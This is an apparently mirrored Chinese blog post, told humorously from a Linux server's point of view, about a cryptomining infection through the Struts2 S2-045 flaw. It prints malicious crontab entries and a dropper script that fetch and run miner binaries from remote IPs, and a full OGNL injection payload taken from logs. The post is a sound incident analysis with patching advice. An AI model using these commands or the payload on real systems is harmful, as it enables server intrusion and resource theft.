131

我变成了一名比特币挖矿工 - 小柒2012

 6 years ago
source link: http://www.cnblogs.com/smallSevens/p/7554380.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

我竟然被抓去做了比特币挖矿工 - 小柒2012 - 博客园

世界上还是牛人多,在2011年的时候,一名大三的学生有了困扰,随后上知乎发布了一个提问大三学生手头有6000元,有什么好的理财投资建议?在2017年的今天,上到了知乎热门提问,因为在提问下面有一个获得上万点赞的回答买“比特币,保存好钱包文件,然后忘掉你有过6000元这回事,五年后再看看。

我是一个服务器,并且还是一个内网的Linux服务器,外面武装了天清汉马防火墙,内部有firewall,强大的密码组合,甚至自己都记不清到底几位数,这几年我甚是悠闲,悠闲的感觉自己有点混日子,然就是这样一个与世无争的我还是被无情的攻击了。

那天清晨,感觉大脑有点发烧,赶紧发出一条top指令:

top - 20:07:49 up 70 days,  8:53,  2 users,  load average: 5.71, 5.07, 2.93
Tasks: 200 total,   1 running, 199 sleeping,   0 stopped,   0 zombie
%Cpu(s): 50.2 us,  0.1 sy,  0.0 ni, 49.7 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem : 65401524 total, 36266252 free, 13198040 used, 15937232 buff/cache
KiB Swap: 32834556 total, 32803700 free,    30856 used. 51442368 avail Mem 
  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
17257 root      20   0  591340  15220    556 S 599.7  0.0  67:13.74 atd
15768 root      20   0 15.369g 2.319g  18048 S   1.7  3.7   4:10.49 java

发现了一条诡异的进程atd,CPU占用居然将近600%,执行命令ps -eaf|grep atd:

[root@itstyle tmp]# ps -ef|grep atd
root     17257     1 99 19:56 ?        01:22:31 ./atd -c trtgsasefd.conf -t 6
root     17475 17165  0 20:10 pts/0    00:00:00 grep --color=auto atd

紧接着find / -name atd查找相关指令存放地点。

[root@itstyle tmp]# find / -name atd
/var/tmp/atd

突然觉得还是先把这个atd进程杀掉为好,kill -9 17257,立即马上迅速强行杀死。

随后退烧了,但可恶的是,不到几分钟,又烧了,一看又是atd这个进程在运行。

杀掉后重新运行,一定是在某个地方有定时,检查了一下定时任务,crontab -l:

[root@itstyle tmp]# crontab -l
*/20 * * * * wget -O - -q http://5.188.87.11/icons/logo.jpg|sh
*/19 * * * * curl http://5.188.87.11/icons/logo.jpg|sh

擦,以前的定时脚本不见了,多了两条奇怪的任务,里面有个网址很特别,复制到浏览器访问,本以为是个美女或者惊悚图,结果是个大黑图,F12图片网络请求发现Response中居然存在如下代码:

#!/bin/sh
rm -rf /var/tmp/bmsnxvpggm.conf
ps auxf|grep -v grep|grep -v trtgsasefd|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "bmsnxvpggm"|awk '{print $2}'|xargs kill -9
ps -fe|grep -e "trtgsasefd" -e "ixcnkupikm" -e "jmzaazwiom" -e "erlimkvsmb" -e "pdnpiqlnaa" -e "zhoimvmfqo"|grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
chmod 777 /var/tmp/trtgsasefd.conf
rm -rf /var/tmp/trtgsasefd.conf
curl -o /var/tmp/trtgsasefd.conf http://5.188.87.11/icons/kworker.conf
wget -O /var/tmp/trtgsasefd.conf http://5.188.87.11/icons/kworker.conf
chmod 777 /var/tmp/atd
rm -rf /var/tmp/atd
rm -rf /var/tmp/sshd
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
curl -o /var/tmp/atd http://5.188.87.11/icons/kworker
wget -O /var/tmp/atd http://5.188.87.11/icons/kworker
else
curl -o /var/tmp/atd http://5.188.87.11/icons/kworker_na
wget -O /var/tmp/atd http://5.188.87.11/icons/kworker_na
fi
chmod +x /var/tmp/atd
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
nohup ./atd -c trtgsasefd.conf -t `echo $cores` >/dev/null &
else
echo "runing....."
fi

一坨脚本,狗日的 居然有 rm -rf 这是要要了老子的命啊!!! 吓大赶紧打开蓝灯谷歌搜索这个命令,在virustotal找到以下说明:

同时发现了一条四天前的评论,这是一个脚本,通过struts漏洞传播下载和启动一个bitcode矿工。

gov.lk中也发现了有一坨代码,隐约发现与struts2有关:

由于一些老旧项目还在使用struts2,于是查询了一下相关日志,居然发现了传说中的OGNL注入

org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/form-data stream, content type header is %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "*/20 * * * * wget -O - -q http://91.230.47.40/icons/logo.jpg|sh\n*/19 * * * * curl http://91.230.47.40/icons/logo.jpg|sh" | crontab -;wget -O - -q http://91.230.47.40/icons/logo.jpg|sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

黑客攻击者通过使用一个表单来发送一些内容到struts请求,该内容被OGNL解析,结果创建了crontab,擦,真是耳闻不如一见啊,也有中招的那一天,就这样我变成了一个苦逼的挖矿工。

Struts2的安全漏洞从2010年开始陆续被披露存在远程代码执行漏洞,从2010年的S2-005、S2-009、S2-013 S2-016、S2-019、S2-020、S2-032、S2-037、devMode、及2017年3月初Struts2披露的S045漏洞,每一次的漏洞爆发随后互联网都会出现Struts2扫描攻击活动。

此次攻击针对Struts2的远程命令执行漏洞,漏洞编号:S2-045,CVE编号:CVE-2017-5638,官方评级为高危,该漏洞是由于在使用基于Jakarta插件的文件上传功能条件下,恶意用户可以通过修改HTTP请求头中的Content-Type值来触发该漏洞,黑客通过批量对互联网的WEB应用服务器发起攻击,并下载恶意脚本执行下载进行比特币挖矿程序,主要感染Linux服务器。

经检测和搜索,这应该是一个有组织有纪律的挖矿集团,以下是IP地址来源,万恶的苏修主义啊,真是亡我天朝之心不死。

Struts2升级版本至2.5.10,高危漏洞又来了,这是三月份的一篇升级,当时投机的还是赶紧升了吧,如果实在不想升级,无所谓反正是挖矿,不会破坏你什么。

但是,如果不挖矿呢,那就傻逼了?到时候就不是发烧那么简单了,很多公司上线部署都不是很规范,可能所有的程序都用root启动也说不定呢?

最后感觉这才是大家比较关注的问题,肯定有不少小伙伴想知道黑客是怎么注入的吧?

如果您要查看本帖隐藏内容请 回复
人们都说,只要心够诚,就能在西边疙瘩山上寻得一当铺,进去,便能改变你的一生,其实我也不知道。开个玩笑,感谢您赏脸读到最后,祝大家阅读愉快,工作顺利,据说留言的程序员都找到女票了!!!

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK